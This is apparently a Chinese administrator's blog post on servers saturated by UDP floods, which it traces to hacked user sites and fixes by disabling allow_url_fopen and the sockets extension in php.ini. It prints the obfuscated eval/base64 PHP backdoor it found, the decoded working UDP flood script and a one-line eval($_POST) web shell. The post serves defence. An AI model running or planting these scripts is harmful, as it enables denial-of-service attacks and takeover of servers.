php使用UDP网络攻击占用超大带宽解决方案
关于近期一些服务器遭受UDP攻击的说明 近来我有一两台服务器显示经常受到udp攻击 导致服务器带宽占用到100%,用华盾查流量占用也无法查到具体是哪个站被攻击了,起初以为是cc攻击,因为停止了iis带宽就为0了,其实不然,都是部分用户被入侵导致的 下面我想说一下被入侵的原理 用户程序中的一个php页面的原代码: <?php /* gl
*/ eval(gzinflate(base64_decode(\'DZNHkqNIAADv85HpDg4tTGFidrYDCRBOOOEvG5gqrPBOvH77CRmZ+f3vP99DOfz6Bbek/SjOqkNtssCPNJkhTf2Xw6zP4cdvIbfUZlQ1XhQchHDF3z39Ldpx33Lk9Xm78dUoCHeKfilO46tqg21DiEg+BCTz9QW/GD+lMGtThrSmdSEMLbVkzvPt3s0UMS3mDx0WoG2nY+gB2L+fufDyzPU6gNJxAYSarbsanhimzJbUoqZuY0+lV4H6GZtDX9LxkE9L29swfGYibUTtUsoPqIRi7nFBpdmW0t5ECFWjzmfZe2xqERmtMLVpOqnY436BfrDxK10KYOfGAWN7s3geqB7RdV7WkxiBHZU4wyW0LXsmyTdcdwk3TOjduh1F8cyvsgYuaejeLi23csLONsqDsU3gx60zLlm5XQ9jqhbyq949qvb2Us1dqsAGpYvfG3IHY4TxaemBF2mKKY9StKJuDDHxfmI3z+eWa7OwlgvrxeB5Qz4AE2drfLAYmo6litZOUL1GxMlavOlDW8/OMb7ci13dLk1y9XDddGgA4onEBZ0vmx8aSWApy6q2JkpO0i8kg1qOx7EVPgEJNSOLyzZIW8ApDL+V0/0Fstph3qQI+1qQuCwxiZH1aaTMKJItxW5rmz4WyrGmOKCUtLvAU2dle3a85a0GJJQWOGX5AnHiILQpplJ9mdpdQsw9TybO4whCCMqjfgOuSJ+rRT+2Ok8rbc/oVd47v+J02tAy9fkMTP2u8HuUo1Ezp5F3XCMyL6ftJAkw+h+R1ljN0M0NYS/TXCpeY1tyOl7Awe8dP5ygq1VxAFoEKQD6EGdWsWMeBzSruEjIQeRbtgx0oRpw2CnKoxFs/KdiQauXc26QYtLSbeaxiAWLeq784jjWnubV2kpIarL4bMVgNxv+9QwM8j1FvNR1yGa9lVsF1hM63tSpymtn4k1QFEGLVowe93kyhxGbRpNXICoPk3oqbB6DL3chsJ4OwQk4FOIc2k4MQ3tKy/vfv78/Pz///Pr+Gfd/\'))); ?> 经过N次解密后的代码: <?php
$packets = 0; $ip = $_GET[\'ip\']; $rand = $_GET[\'port\']; set_time_limit(0); ignore_user_abort(FALSE);
$exec_time = $_GET[\'time\'];
$time = time(); print \"Flooded: $ip on port $rand <br><br>\"; $max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){ $out .= \"X\"; } while(1){ $packets++; if(time() > $max_time){ break; }
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\"; ?> <?php eval($_POST[ddos])?> baidu了一下工作原理: 先把你代码放到一个正常的网页中. 通过url传递IP和端口以udp的方式打开.传递文件到服务器写出. 这样服务器就中招了. 也就是服务器显示udp攻击,带宽占用非常之严重,基本是100%,一般徘徊在97%-99%之间
解决方案: 在php.ini中限制php用网络。 在php.ini里设其值为Off allow_url_fopen = Off 并且: ;extension=php_sockets.dll 前面的;号一定要有,意思就是限制用sockets.dll 然后重启IIS
|